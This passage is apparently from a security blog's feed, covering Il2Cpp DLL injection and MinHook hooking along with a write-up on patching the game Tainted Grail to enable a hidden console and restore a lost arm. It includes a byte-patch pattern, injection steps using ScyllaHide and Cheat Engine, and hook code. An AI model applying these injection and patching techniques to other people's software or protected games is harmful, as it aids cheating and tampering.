In my case, visual studio complained about some problems, which prevents me from building the IL2CppDLL. For example there were some methods in the Il2cpp-api-functions.h which can’t be resolved, so I just comment them out (we don’t need them though).

// gchandle

DO_API(Il2CppGCHandle, il2cpp_gchandle_new, (Il2CppObject* obj, bool pinned));

DO_API(Il2CppGCHandle, il2cpp_gchandle_new_weakref, (Il2CppObject* obj, bool track_resurrection));

DO_API(Il2CppObject*, il2cpp_gchandle_get_target, (Il2CppGCHandle gchandle));

DO_API(void, il2cpp_gchandle_free, (Il2CppGCHandle gchandle));

The il2cpp-functions.h holds all of the custom and unity game methods, these are a lot and compiling the DLL with all of them will take between 5 and 20 minutes, so I would propose to save them in a il2cpp-functions.h.bak and only include these methods which could be interesting to call or hook.


Setup miniHook

Talking about hooking, the il2cpp injector can’t hook function by default (as far as I know), so we also want to setup minHook to hook into game function calls at runtime.

  • Download the lib release and extract it into your project folder
  • inlcude the lib into the main.cpp
#pragma comment(lib, "./lib/libMinHook.x64.lib")
#include "MinHook.h"
  • use static linking in Visual Studio


Basic usage

To get familiar with the Il2cpp scaffolding concepts and API methods I can recommend the following sources:

Even when some of these tutorials are a little bit outdated or not working for every case, they served as a great reference for me and helped a lot to get the basics.

As always, there is more then one way to achieve something, which is great but also costs you time in case something is not working and you don’t know if your „approach“ is wrong or just something else is failing.

So I will provide some basic code snippets in the next sections.


Methods

In general we need to decide between three different kind of methods:

  • global methods
  • instance methods
  • inherited methods or virtual methods (vtable)

All of them have at least one parameter, the MethodInfo * method, which defines the type of the method. Even when you don’t need to provide a MethodInfo in every case, I accustomed to provide them always, as its only one more line.

Global methods don’t need any reference or instance and can be called every time (or from everywhere), you can identify them (in the il2cpp-functions.h) that they don’t have a __this parameter.

DO_APP_FUNC(0x064E1290, Hero *, Hero_get_Current, (MethodInfo * method));

A call to this one would look like the following

const MethodInfo* mi = il2cpp_class_get_method_from_name((Il2CppClass*)*Hero__TypeInfo, "get_Current", 0);
Hero* myHero = Hero_get_Current(const_cast<MethodInfo*>(mi));

instance methods are the more common ones, these need to be called from an object (an instance of a class). The instance need to be passed as the first argument via __this

DO_APP_FUNC(0x064E1220, Domain, Hero_get_DefaultDomain, (Hero * __this, MethodInfo * method));

A call will look like

// as we need an Hero object fist, we can use the myHero object from our first call

const MethodInfo* mi = il2cpp_class_get_method_from_name((Il2CppClass*)*Hero__TypeInfo, "get_DefaultDomain", 0);
Domain myDomain = Hero_get_DefaultDomain(myHero, const_cast<MethodInfo*>(mi));

Virtual methods of an object are not directly available in the il2cpp-functions.h file as they belong to some parent class. If you want to know, which (virtual) methods are generally available for an instance, you can find them in the il2cpp-types.h file.

However, based on this you don’t know from which class these methods are coming from, but you can identify this by lookup the class in dnspy and investigate the methods of the parent functions, for example the Hero Class is based on the Model Class, so you can most likely also use all of the Model methods on it and these you can find in the il2cpp-functions.h again.

So for calling a virtual Hero method we only need to convert our Hero object to a Model object and then call the Model method

const MethodInfo* mi = il2cpp_class_get_method_from_name((Il2CppClass*)*Model__TypeInfo, "get_ID", 0);
String* myHeroID = Model_get_ID(reinterpret_cast<Model*>(myHero), const_cast<MethodInfo*>(mi));

If you know there is a virtual method for an object but can’t figure where it comes from you can also use the following code to „recreate“ the method, but at least we need to now the return type (if there is one).

 // get the Method Info from our class    
 const MethodInfo* hero_get_ID_MethodInfo = myHero->klass->vtable.get_ID.method;
 
 // get the pointer to the method from our class, as this objects returns a String*, we will cast it to this
 auto hero_getID_function = (String * (*)(Object*, MethodInfo*)) myHero->klass->vtable.get_ID.methodPtr;
 
 // call the method, we need to provide a generic object, so we need to cast myHero to an object
 String* heroId = hero_getID_function(reinterpret_cast<Object*>(myHero), const_cast<MethodInfo*>(hero_get_ID_MethodInfo));

Static Field and Properties

As soon we have our object, we can simple access it properties via ->fields


Accessing Items

If we want to enumerate a List of objects, we can use the items and vector properties of it

open example
ModelElements* myModelElements = __this; //we got somehwere an object which holds a list


// get the elements object of the ModelElements
auto elementsList = myModelElements->_elements;
    
    if (elementsList) {

       // get the items (list / array) of the elements
        if (elementsList->fields._items) {
            
            //get the size of the list
            il2cpp_array_size_t elementcount = elementsList->fields._items->max_length;

            if (elementcount > 0) {

                for (size_t i = 0; i < elementcount; ++i) {
                   
                    // get one element from the list by using -> vector[i]
                    Element* elementItem = elementsList->fields._items->vector[i];

                    if (elementItem) {


                        // do something with it (cast it to an model and print the id)
                        Model* parentModel = reinterpret_cast<Model*>(elementItem);

                        if (parentModel) {

                            auto output = Model_get_ID(parentModel, const_cast<MethodInfo*>(mi));
                            
                            if (output) {
                                auto targetModel = il2cppi_to_string(output);
                                std::cout << "[*] Element Object ID: " << output << std::endl;
                            }
                        }
                    }
                }
            }
        }
    }


Strings and output

As debugging is very time consuming (even when you attach visual studio to the application) you want to print out as much as possible. For this you can init a new console window and then use std::cout

void Run()
{
    // Initialize thread data - DO NOT REMOVE
    il2cpp_thread_attach(il2cpp_domain_get());

    // (Create a console window using Il2CppInspector helper API)
    il2cppi_new_console();

    std::cout << "DLL injected" << std::endl;
}

Or log it to a file (wich is very useful when you want to dump a lot of objects)

// Set the name of your log file here
extern const LPCWSTR LOG_FILE = L"C:\\Users\\admin\\Desktop\\il2cpp-log.txt";

void Run()
{
   // Initialize thread data - DO NOT REMOVE
   il2cpp_thread_attach(il2cpp_domain_get());
   
   il2cppi_log_write("Dll injected");

}

Also important is the helper method il2cppi_to_string(). which can be used to cast an app::String* (pointer) to an std::string object, so you can print it out correctly.

app::String* output = Model_get_ID(elementModel, const_cast<MethodInfo*>(mi2));

std::string targetModel_Name = il2cppi_to_string(output);

Boilerplate

This is an easy example of using our mentioned methods all together and print the ID and parent Domain of our Hero Object, it also invokes the AllElements method of the Hero object and print out every Element_ID. Make sure that the il2cpp-functions.h contains the following methods

DO_APP_FUNC(0x064E1290, Hero *, Hero_get_Current, (MethodInfo * method));
DO_APP_FUNC(0x064E1220, Domain, Hero_get_DefaultDomain, (Hero * __this, MethodInfo * method));
DO_APP_FUNC(0x00D16770, String *, Model_get_ID, (Model * __this, MethodInfo * method));

Open main.cpp
#include "pch-il2cpp.h"

#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <iostream>
#include "il2cpp-appdata.h"
#include "helpers.h"

using namespace app;

// Set the name of your log file here
extern const LPCWSTR LOG_FILE = L"C:\\Users\\admin\\Desktop\\il2cpp-log_model_elements.txt";


void Run()
{
    // Initialize thread data - DO NOT REMOVE
    il2cpp_thread_attach(il2cpp_domain_get());

    // (Create a console window using Il2CppInspector helper API)
    il2cppi_new_console();

    while (true)
    {
        if (GetAsyncKeyState(VK_F2) & 0x8000)  // F2 key
        {

            // call a global Method
            const MethodInfo* mi = il2cpp_class_get_method_from_name((Il2CppClass*)*Hero__TypeInfo, "get_Current", 0);
            Hero* myHero = Hero_get_Current(const_cast<MethodInfo*>(mi));

            if (myHero) {

                std::cout << "[*] Found hero object at: " << myHero << std::endl;

                // call instance Method
                mi = il2cpp_class_get_method_from_name((Il2CppClass*)*Hero__TypeInfo, "get_DefaultDomain", 0);
                Domain myDomain = Hero_get_DefaultDomain(myHero, const_cast<MethodInfo*>(mi));

                // retrieving a property (_FullName_k__BackingField) from an object
                String* myDomainFullName = myDomain._FullName_k__BackingField;

                // convert app::String to cpp String and print it out
                std::string myDomainOut = il2cppi_to_string(myDomainFullName);
                std::cout << "[*] Domain Name: " << myDomainOut << std::endl;

                // call inherited Method Model.get_ID() directly (virtual Method)
                mi = il2cpp_class_get_method_from_name((Il2CppClass*)*Model__TypeInfo, "get_ID", 0);
                String* myHeroID = Model_get_ID(reinterpret_cast<Model*>(myHero), const_cast<MethodInfo*>(mi));

                // convert app::String to cpp String and print it out
                std::string myHeroIDOut = il2cppi_to_string(myHeroID);
                std::cout << "[*] Hero Object ID: " << myHeroIDOut << std::endl;

                // call inherited Method Hero.AllElements() via vtable (virtual Method)
                const MethodInfo* mi = myHero->klass->vtable.AllElements.method;
                auto heroElements = (List_1_Awaken_TG_MVC_Elements_Element_ * (*)(Object*, MethodInfo*)) myHero->klass->vtable.AllElements.methodPtr;
                auto heroElements_List = heroElements(reinterpret_cast<Object*>(myHero), const_cast<MethodInfo*>(mi));

                // try to get all Hero Elements
                std::cout << "[*] List enum called " << std::endl;

                const MethodInfo* mi2 = il2cpp_class_get_method_from_name((Il2CppClass*)*Model__TypeInfo, "get_ID", 0);
                
                if (heroElements_List) {

                    // get the items (list / array) of the elements
                    if (heroElements_List->fields._items) {

                        //get the size of the list
                        il2cpp_array_size_t elementcount = heroElements_List->fields._items->max_length;

                        if (elementcount > 0) {

                            for (size_t i = 0; i < elementcount; ++i) {

                                // get one element from the list by using -> vector[i]
                                Element* elementItem = heroElements_List->fields._items->vector[i];

                                if (elementItem) {

                                    // do something with it (cast it to an model and print the id)
                                    Model* elementModel = reinterpret_cast<Model*>(elementItem);

                                    if (elementModel) {

                                        auto output = Model_get_ID(elementModel, const_cast<MethodInfo*>(mi2));

                                        if (output) {
                                            auto targetModel_Name = il2cppi_to_string(output);
                                            
                                            // log all Elements to a file
                                            il2cppi_log_write(targetModel_Name);

                                            if (targetModel_Name == "Hero:0:HeroOffHandCutOff:0") {
                                                std::cout << "[*] Found Object ID: " << targetModel_Name << " at:" << elementItem << std::endl;
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
            Sleep(200);
        }
        Sleep(10);
    }
}

After we load a save game, and press F2 we can see our output

and also our log file was created with all of our dumped Hero objects


Pitfalls and Tips

I spend many many hours figuring out, why sometimes my game crashes when I invoked a function. The reason was the usage of Threads, std::thread(KeyboardThread).detach(); I don’t know why exactly but I guess some functions will check the calling source or have events which are not triggered if the function is called from a different thread and then something will crash, so if possible try to avoid new threads.

Other common things why the game can crash or you get a wrong output:

  • try to cast an empty object
  • cast of an object to something what is not possible
  • calling function with the wrong type or an empty parameter
  • thread the function return value as a wrong type (usually happens when you call a vtable method)
  • not using the correct type when printing something out

Some general Tips

  • Try to find as early as possible some method which will give you and ID and Name of the object, so you can identify it. for example: get_Name, get_ID, get_Description etc.
  • use if statements to check if the object exists before you work with it, especially in lists I learned that not every item even when its available in the List is really usable.
  • Already mentioned in the setup chapter but I will repeat it here, remove every function which you are not using from the il2cpp-functions.h file to speed up the building process of your DLL.

Hooking a function

Finding a (game) object is not always trivial, especially when we don’t have a starting point or can’t enumerate the child elements and also when we have way to much methods available from our class (and parents) it can be too time consuming figuring out, which one give us our desired object. For example, our Hero and the parent Model class has a lot of methods, which could potentially return our desired object.

When we already now, that a specific method is called from our object it can be faster to just hook into this function and capture the instance instead of searching it based on some other object.


MiniHook Code

To setup a hook we simple need to provide the correct function location (pointer) and signature, both we can get from our il2cpp-functions.h. For Example, if we now that the OnRestore() method is called for the HeroOffHandCutOff object, we will create a hook for this one to capture the instance.

First we create the function signature, this based on the function we find in the il2cpp-functions.h.

using fn_HeroOffHandCutOff_OnRestore = void(*)(HeroOffHandCutOff* __this, MethodInfo* method);
static fn_HeroOffHandCutOff_OnRestore orig_HeroOffHandCutOff_OnRestore = nullptr;

Next we create the hook

void Hooked_HeroOffHandCutOff_OnRestore(HeroOffHandCutOff* __this, MethodInfo* method)
{
    std::cout << "[onRestore] Captured HeroOffHandCutOff.onRestore() instance: " << __this << std::endl;
    g_HeroInstance = __this;  // store instance globally or do something with it

    //call the original function
    if (orig_HeroOffHandCutOff_OnRestore) {
        orig_HeroOffHandCutOff_OnRestore(__this, method);
        std::cout << "[onRestore] original OnRestore call executed" << std::endl;
    }
}

And finally we need to initialize the hook

void initHook_HeroOffHandCutOff_OnRestore(){

    // get the address of the function 
    void* target = HeroOffHandCutOff_OnRestore;

    if (MH_CreateHook(target,
        reinterpret_cast<LPVOID>(&Hooked_HeroOffHandCutOff_OnRestore),
        reinterpret_cast<LPVOID*>(&orig_HeroOffHandCutOff_OnRestore)) == MH_OK)
    {
        MH_EnableHook(target);
    }
    else {
        std::cout << "[!] Failed to create hook HeroOffHandCutOff_OnRestore" << std::endl;
    }        
}

Our final hook script will look like the following. I also included a getOffset function, which prints out the file offset, where the hook is installed, so I can compare this with the dnSpy offsets or put a breakpoint in x64dbg on it.

open hook script
#include "pch-il2cpp.h"

#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <iostream>
#include "il2cpp-appdata.h"
#include "helpers.h"
#pragma comment(lib, "./lib/libMinHook.x64.lib")
#include "MinHook.h"

using fn_HeroOffHandCutOff_OnRestore = void(*)(HeroOffHandCutOff* __this, MethodInfo* method);
static fn_HeroOffHandCutOff_OnRestore orig_HeroOffHandCutOff_OnRestore = nullptr;

void getOffset(void* adr) {

    HMODULE gameAsm = GetModuleHandleA("GameAssembly.dll");
    uintptr_t base = reinterpret_cast<uintptr_t>(gameAsm);
    uintptr_t rtadr = reinterpret_cast<uintptr_t>(adr) - base;
    std::cout << "[*] Hook / Method at offset " << reinterpret_cast<void*>(rtadr) << std::endl;
}


void Hooked_HeroOffHandCutOff_OnRestore(HeroOffHandCutOff* __this, MethodInfo* method)
{
    std::cout << "[onRestore] Captured HeroOffHandCutOff.onRestore() instance: " << __this << std::endl;
    g_HeroInstance = __this;  // store instance globally or do something with it

    //call the original function
    if (orig_HeroOffHandCutOff_OnRestore) {
        orig_HeroOffHandCutOff_OnRestore(__this, method);
        std::cout << "[onRestore] original OnRestore call executed" << std::endl;
    }
}

void initHook_HeroOffHandCutOff_OnRestore(){

    // get the address of the function 
    void* target = HeroOffHandCutOff_OnRestore;

    if (MH_CreateHook(target,
        reinterpret_cast<LPVOID>(&Hooked_HeroOffHandCutOff_OnRestore),
        reinterpret_cast<LPVOID*>(&orig_HeroOffHandCutOff_OnRestore)) == MH_OK)
    {
        MH_EnableHook(target);
        getOffset(target);
    }
    else {
        std::cout << "[!] Failed to create hook HeroOffHandCutOff_OnRestore" << std::endl;
    }      
}

void Run()
{
    // Initialize thread data - DO NOT REMOVE
    il2cpp_thread_attach(il2cpp_domain_get());

    // (Create a console window using Il2CppInspector helper API)
    il2cppi_new_console();

    // Initialize MinHook
    if (MH_Initialize() != MH_OK) {
        std::cout << "[!] MinHook initialization failed" << std::endl;
        return;
    }

    initHook_HeroOffHandCutOff_OnRestore();
}


Injecting the DLL

There are different ways how you can inject the final DLL to the game, you can write your own injector (there are many source available) our you just use one of the following tools:

x64dbg

  • get ScyllaHide and copy it to the plugins folder of x64dbg
  • (optional) Load the Profile „Disabled“ to avoid Anti-Debug injections, when you don’t need them
  • Run the Game and Attach x64dbg to it, then select Plugins -> inject DLL

Cheat Engine

  • Attach to the Game Process
  • Open the Memory View and select Tools-> Inject DLL

Other Modding Frameworks

There are two other popular modding frameworks which I wanted to mention, maybe I will create another blog posts about these in the near future


Der Beitrag Il2Cpp Injection and Hooking via Scaffolding erschien zuerst auf Secure77.

]]>
https://secure77.de/il2cpp-injection-and-hooking-via-scaffolding/feed/ 0
Tainted Grail – FoA – Unlock The Hidden Secrets https://secure77.de/tainted-grail-foa-unlock-the-hidden-secrets/ https://secure77.de/tainted-grail-foa-unlock-the-hidden-secrets/#respond Tue, 30 Sep 2025 14:14:51 +0000 https://secure77.de/?p=1810 The journey of recovering my lost arm. Background Back in the bad weather season, I was looking for a single player game that I could enjoy alongside my usual daily routine. I noticed the release of Oblivion remastered Edition and considered buying it, but the reviews shortly after release weren’t particularly promising, so I decided

Der Beitrag Tainted Grail – FoA – Unlock The Hidden Secrets erschien zuerst auf Secure77.

]]>
The journey of recovering my lost arm.

Background

Back in the bad weather season, I was looking for a single player game that I could enjoy alongside my usual daily routine. I noticed the release of Oblivion remastered Edition and considered buying it, but the reviews shortly after release weren’t particularly promising, so I decided to look for something else. One day, Steam suggested the game Tainted Grail – The Fall of Avalon, which was developed by a small Polish team and looked quite similar to the “game style” of Elder Scrolls.

The positive reviews convinced me, and I decided to buy it. I played for about 25 hours and really enjoyed the game. So far, so good. Somewhere in part 2 of the game, the developers included a funny game mechanic where you can lose an arm.

That’s pretty funny, and I was pretty sure there had to be a quest somewhere where you could get your lost arm back, because with only one arm, you’re really limited in some important game mechanics. For example, you can’t use two-handed weapons (obviously) such as bows or greatswords, but mining and digging are also no longer possible, which means you miss out on many collectibles and items. I kept playing and playing, but after few hours and visiting a few larger cities, without finding a way to get the lost arm back, I got nervous and searched for this topic.

Surprisingly, this seems to be a lasting consequence (at least it was, but more on that later).

After discovering this, I was a little bit demotivated. I didn’t want to continue playing the game with only one arm, which meant I had to load an old save game and lose several hours of gameplay.

I decided to take a closer look at the game to see if there is a way to restore the arm in some unintended way.


Reversing the Game

The game is created in Unity, which is always beneficial (from a reverse engineering perspective). It is converted to C++ via IL2CPP, but there are some good dumpers available, allowing us to retrieve the DLLs, symbols, and offsets. I will refrain from providing a more detailed explanation, as there are already many resources available on this topic but I will recommend this dumper.

After loading the dumped DLLs in DnSpy, we can quickly identify our desired location, the actual game code is located in the TG.Main.dll.

I looked around and tried to find a method or property that stores our behavior „arm is lost”. I thought about “lost arm,” “only one arm,” “crippled,” and so on but I couldn’t find anything that sounded like that. I also checked all the hero status, properties etc, but again, I couldn’t find anything that gave me a direct clue or setting. But while browsing through the different classes, I discovered something else interesting.

It seems as though the developers have built in many different cheats and debugging features. I tried to figure out how to open this “Quantum” console by pressing all the usual console buttons in the game, and I also googled for it, but it seems as though the developers have kept this to themselves.


Switching Target – Awake the Quantum of Marvin

Since I was a little bit stuck in finding a way to restore my arm, I decided to figure out how to activate the Marvin Quantum console instead, as this apparently offers other interesting tools.

I found many promising properties that, if we change them, might make it work. So I set breakpoints on the following getters:

  • IsCheatsEnabled
  • EnableCheats
  • Debugger IsVisible

I restarted the game and loaded a save file, tried all the different console buttons again, but none of my breakpoints were triggered.

I decided to take a different approach and found this InitQuantumConsole() method:

which is not called by default, but I thought maybe I could find the condition that determines whether or not it is called. So I looked up this function in x64dbg at offset 0x6A2EF50 and searched for all references to this address, we got one hit at file offset 0x6A2ECF7

I checked the above assembler instructions but could not find any conditional jump. So we have to reverse further. A renewed search for references to the start address of this function gives us three results.

Investigating each of these, we can see there are conditional jumps in front of the calls. I placed breakpoints in all three function right before the conditional jmps and restarted the game.

We got a hit on offset: 0x6A2E917

After forcing this jmp (change it from a jne to a jn) and continue the game, we can already identify in the main menu that this has some effect (notice the additional IDs and „Copy Hash“ button)

I loaded a save game and tried again different classic console keys, finally the ` key opens the Marvin Console 😊😊🎉🎉

It offers us many options and we can do a lot with it, and it’s more than just cheating! We can also use it to fix some things. For example: I had the problem that when running the game on my VM, the textures were missing (unless I was in a dungeon).

I discovered when we are in the Display Runtime Rendering Debugger, and disable the Custom Pass setting, the textures are visible again. This option is not found in the game’s graphics settings, but is only available via the Marvin console.

For anybody else, who want to activate the console, you can search for the following byte sequence: FA 0A 83 B4 00 00 00 75 2A 48 8B and change it to FA 0A 83 B4 00 00 00 74 2A 48 8B in the gameassembly.dll (replacing the 75 to a 74)

I created also a little patcher with powershell, this should work also for newer versions. You can find it in the repository project.


What about my lost arm?

However, Marvin also don’t offer a setting to restore my lost arm 😒

Come to think of it, there must be a property or flag that tells the game whether my arm has been lost or not. Since this depends on your saved game, this information must be stored in the saved game files. We can find the saved games at AppData\LocalLow\Questline\Fall of Avalon\(SteamID), but the files are in binary format and we cannot simply read or edit them.

I searched for a way how I can deserialize these files but was not able to get it working, however I found this website which can convert your save game to at least some kind of readable format.

I uploaded two save games, one with the lost arm and one before I lost the arm and compared these two files. Finally I identified a potential object HeroOffHandCutOff which is only included in the save game where the arm is lost.

Since the website also offers an option to convert your file back to a binary format, I removed that part and tried to load it, but it causes the game to crash. It seems that the online editor cannot serialize the files back correctly. Even if you try to convert an unmodified saved game, it has a different file size.

I am very interested in how this website deserialize the save game files into a readable format. If anyone has any ideas about this, please leave a comment or contact me.

It seems there is no shortcut by simply editing the save game, instead we have to fix the problem while the game is running. Back in DnSpy, I looked up the class and set breakpoints for various methods.

I couldn’t find an easily adjustable static field / property such as “IsHandCutOff” or similar, where I could simply set the value to “false“, also OnInitialize() get only called once in the moment when Sharg will cut off your arm, and Deserialize get not called at all.

I decided to use the magic of the Marvin console. There is this handy “Models debug” menu that allows you to search and examine all loaded objects. Each object has a sub view where you can customize it or call methods from it.

I searched for HeroOffHandCutOff and when looking at the methods, we can see a lot more then DnSpy shows us:

I quickly found a method called “Restore” that sounds promising, but when you call it, nothing changes. I set a breakpoint on the OnRestore method (because it was available in DnSpy) and found that it is called when you load a save game without an arm, but not when you load a save game with both arms. I also discovered that the entire HeroOffHandCutOff object does not exist if you “have” both arms, which make sense as it also not present in our save game.

This means Restore in this context does not mean that your arm is restored, but that this object is restored. I tried to return directly to the caller without executing the contents of the OnRestore() method, but it seems too late, as the object has already been loaded and skipping OnRestore() cannot prevent this object from being loaded.

But why there is a OnRestore() method available in DnSpy but no Restore() or any of the other methods, which are shown in Marvin?

The answer is: HeroOffHandCutOff is a class of Hero, which is a Element, which is a Model and so on. The class inherent all methods of his parents and Marvin shows you that. in DnSpy you need to lookup them by yourself.

Lets sum up what we figured out so far: If your hand get cut off, the object HeroOffHandCutOff get initialized, this model will then be serialized and saved in your save game. By loading the save game it gets deserialized and restored.

So when we just „destroy“ it, we should get back our arm, right?

We can test this by call the Discard method in Marvin, and indeed, our arm is back 🎉😊

(You need to switch the camera into third person and back to see the second arm and weapon in first person view, even better is to save and reload the game.)

But wait a minute, we still can’t equip a secondary weapon 🤨 That makes sense, since HeroOffHandCutOff is just a model that shows or hides our arm, so we need to keep searching. After searching for “locked,” I found this class called HeroLoadoutSlotLocker.

Upon searching for these objects again in the Marvin console, we can confirm that 4 objects (representing the 4 locked item slots) are present when the arm is lost, otherwise these objects do not exist.

We also have to discard of all these objects (again via Marvin) then save and reload the game to get our item slots back. Finally, we have our arm back, including all the abilities that a second arm gives you. 🎉

Side note: in theory its enough to only discard the HeroLoadoutSlotLocker objects to give you back the original game mechanics but without removing the model, it looks a bit „off“


Create a Mod

Well, it’s already a long journey to get here, but I was able to restore my arm 🥳 Removing these objects manually requires many steps and Marvin’s help (it felt a bit like a real surgery). Now that we’ve figured out what we need to do, there must be a way to automate this.

Meanwhile and during writing this blog post Questline released a new update for the game

and guess what is in the release notes

However, I was already hooked to create my first game mod, so I decided to ignore this update and stick on my old game version so I can continue my journey.

As editing the save file is not possible (or at least I don’t know how) there are a couple of other ways which comes into my mind:

  1. During the load game process, hook into the „Restore“ or „Deserialization“ of our target objects and block them.
  2. During the game, call the discard method for these objects (like we did it via the Marvin Console).
  3. During the save game process, hook into the „Serialization“ of our target objects and block them.

Everyone faces a major challenge: these superordinate methods (discard, restore, (de)serialize) are used by many objects in the game. So simply patching these methods is not possible, we need to act on behalf of the correct parameters of the method. So first we need to find the correct object and scope. It turned out, this is (as usually in Reverse Engineering) the most time consuming part.


Select an approach

When it comes to some more advanced game manipulations, like interacting with objects it is a good idea to use some toolings as scanning the memory and manually resolving structs and pointer chains will be very cumbersome, even more when you are not sure which method is the correct one you want to hook.

For IL2Cpp there are many tools available which helps you to mod a game, for example:

I decided to follow the Il2cpp scaffolding approach together with miniHook. As this blog post is already long enough I moved the setup and basic concept of Il2Cpp Scaffold Injections to another blog post, which you can find here: Il2Cpp Injection and Hooking via Scaffolding


Where is my object?

As I didn’t know how to find my object by enumeration I installed a hook on the HeroOffHandCutOff.OnRestore() function, as we now that this function will be (and only) called when our desired object get loaded, this way we can retrieve our desired instance.

void Hooked_HeroOffHandCutOff_OnRestore(HeroOffHandCutOff* __this, MethodInfo* method)
{
    const MethodInfo* mi = il2cpp_class_get_method_from_name((Il2CppClass*)*Model__TypeInfo, "get_ID", 0);

    auto output = Model_get_ID(reinterpret_cast<Model*>(__this), const_cast<MethodInfo*>(mi));
    auto targetModel = il2cppi_to_string(output);

    std::cout << "[onRestore] Captured HeroOffHandCutOff: " << targetModel << " at: " << __this << std::endl;
    g_HeroInstance = __this;  // store instance globally

    if (orig_HeroOffHandCutOff_OnRestore) {
        orig_HeroOffHandCutOff_OnRestore(__this, method);
    }

    std::cout << "[onRestore] original OnRestore call finished" << std::endl;

}

However, every time when I tried to call the discard method for this instance via Model_Discard() the game crashed. I hooked a lot of different function in the hope to capture the desired objects on the creation and prevent them from loading by just skipping the call of the original function, but without any luck 😢

Trying out all these hooks takes me several evenings, because it’s not enough to just install the hook, you also have to make sure that you can convert the hook instance object into a model so that you can read its ID.

Finally I found the ModelElement_ReInit function, which holds our desired objects as an parameter, however, skipping the ReInit is again to late to prevent the model from loading. As a last resort I tried to discard the object directly during this call (and not by pressing a Key) and it worked, the object was discarded (during the loading screen of the save game) and not present in the game any more. 🎉🎉

The ReInit() function also holds all of our HeroLoadoutSlotLocker objects, so we can discard them as well during this hook.

void Hooked_genericHook(ModelElements* __this, Model* owner, MethodInfo* method)
{
    const MethodInfo* mi = il2cpp_class_get_method_from_name((Il2CppClass*)*Model__TypeInfo, "get_ID", 0);
         
    std::string targetModel = "no model";
   
     Model* castElement = owner;

     if (castElement) {
         auto output = Model_get_ID(castElement, const_cast<MethodInfo*>(mi));
         if (output) {
             targetModel = il2cppi_to_string(output);
         }  
     }

    std::regex pattern(R"(Hero:0:HeroItems:0:HeroLoadout:[0-4]:HeroLoadoutSlotLocker:[0-4])");

    if (targetModel == "Hero:0:HeroOffHandCutOff:0" || std::regex_match(targetModel, pattern)) {

        std::cout << "[Reinit] found target Model in genericHook: " << targetModel << std::endl;
 
        const MethodInfo* mi = il2cpp_class_get_method_from_name((Il2CppClass*)*Model__TypeInfo, "Discard", 0);

        Model_Discard(owner, const_cast<MethodInfo*>(mi));
        std::cout << "[Reinit] Discarded.. please dont crash" << std::endl;
    }
  
    if (orig_genericHook) {
        orig_genericHook(__this, owner, method);
    }
    
}

Later i figured out, that the reason why the Model_Disard() method was causes the game to crash, was that I called it from another thread. ChatGPT gave me this solution and I had no clued that this could cause some issues (which costs me a lot of time)


Do it without Hooking!

Well, now we can improve our Mod a little bit so we don’t need to install any hook and just Discard the Elements after we have enumerate these. Again we need to find the correct methods for this but after some try and error I figured out that the Model.AllElements() method will give us all direct child elements.

As HeroOffHandCutOff is a direct member of the Hero Model (Hero:0:HeroOffHandCutOff:0) we only need to call this function one time for the Hero object to find the correct one.

HeroLoadoutSlotLocker is a child item of HeroLoadout and HeroLoadout is a child item of HeroItems so we need to enumerate through these hierarchies for every node (Hero:0:HeroItems:0:HeroLoadout:[0-4]:HeroLoadoutSlotLocker:[0-4]) we also need to take care, that the ID will count up for every item of the same type in one hierarchy level, so using some simple regex is a good idea.

I wrote a little function for enumerating child items, so we can reuse this to clean up the code a little bit. This is the final code to search for these objects and delete (discard) them.

Show Code
#include "pch-il2cpp.h"

#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <iostream>
#include "il2cpp-appdata.h"
#include "helpers.h"
#include <regex>
#include <list>


using namespace app;

// Set the name of your log file here
extern const LPCWSTR LOG_FILE = L"C:\\Users\\admin\\Desktop\\il2cpp-log_elements.txt";

std::list<Model*> searchElement(Model* parentModel, std::regex searchPattern, bool lastItem = false) {


	const MethodInfo* mi_AllElements = il2cpp_class_get_method_from_name((Il2CppClass*)*Model__TypeInfo, "AllElements", 0);
	const MethodInfo* mi_getID = il2cpp_class_get_method_from_name((Il2CppClass*)*Model__TypeInfo, "get_ID", 0);

	auto parentModelID = Model_get_ID(parentModel, const_cast<MethodInfo*>(mi_getID));

	auto allElements_List = Model_AllElements(parentModel, const_cast<MethodInfo*>(mi_AllElements));

	std::list<Model*> foundElements;


	if (allElements_List && allElements_List->fields._items->max_length > 0) {

		for (size_t i = 0; i < allElements_List->fields._items->max_length; ++i) {

			auto elementItem = allElements_List->fields._items->vector[i];
			auto elementModel = reinterpret_cast<Model*>(elementItem);

			if (elementModel) {
				auto elementModel_ID = Model_get_ID(elementModel, const_cast<MethodInfo*>(mi_getID));
				if (elementModel_ID) {
					std::string elementModel_Name = il2cppi_to_string(elementModel_ID);

					//il2cppi_log_write(elementModel_Name);

					if (std::regex_match(elementModel_Name, searchPattern)) {

						if (lastItem) {
							std::cout << "[*] Found Object " << elementModel_Name << " at " << elementItem << std::endl;
						}
						foundElements.insert(foundElements.begin(), elementModel);
					}
				}
			}
		}
	}
	return foundElements;

}


void Run()
{
	// Initialize thread data - DO NOT REMOVE
	il2cpp_thread_attach(il2cpp_domain_get());

	// (Create a console window using Il2CppInspector helper API)
	il2cppi_new_console();

	std::cout << "\n[*] DLL Injected! Load a save Game and press F2 to restore your arm!" << std::endl;

	//initHook_HeroOffHandCutOff_OnRestore();

	while (true)
	{
		if (GetAsyncKeyState(VK_F2) & 0x8000)  // F2 key
		{

			// MethodInfos
			const MethodInfo* mi_getCurrent = il2cpp_class_get_method_from_name((Il2CppClass*)*Hero__TypeInfo, "get_Current", 0);
			const MethodInfo* mi_getID = il2cpp_class_get_method_from_name((Il2CppClass*)*Model__TypeInfo, "get_ID", 0);
			const MethodInfo* mi_discard = il2cpp_class_get_method_from_name((Il2CppClass*)*Model__TypeInfo, "Discard", 0);
			
			
			// get Hero Object
			Hero* myHero = Hero_get_Current(const_cast<MethodInfo*>(mi_getCurrent));

			if (myHero) {
					
				// cast myHero to an Model
				Model* heroModel = reinterpret_cast<Model*>(myHero);

				// printout Hero ID
				String* myHeroID = Model_get_ID(heroModel, const_cast<MethodInfo*>(mi_getID));
				std::cout << "\n[*] Hero Object ID: " << il2cppi_to_string(myHeroID) << " at " << myHero << std::endl;

				// define regex patterns
				std::regex heroOffHandCutOff_pattern(R"(Hero:0:HeroOffHandCutOff:0)");
				std::regex heroItems_pattern(R"(Hero:0:HeroItems:0)");
				std::regex heroLoadout_pattern(R"(Hero:0:HeroItems:0:HeroLoadout:[0-4])");
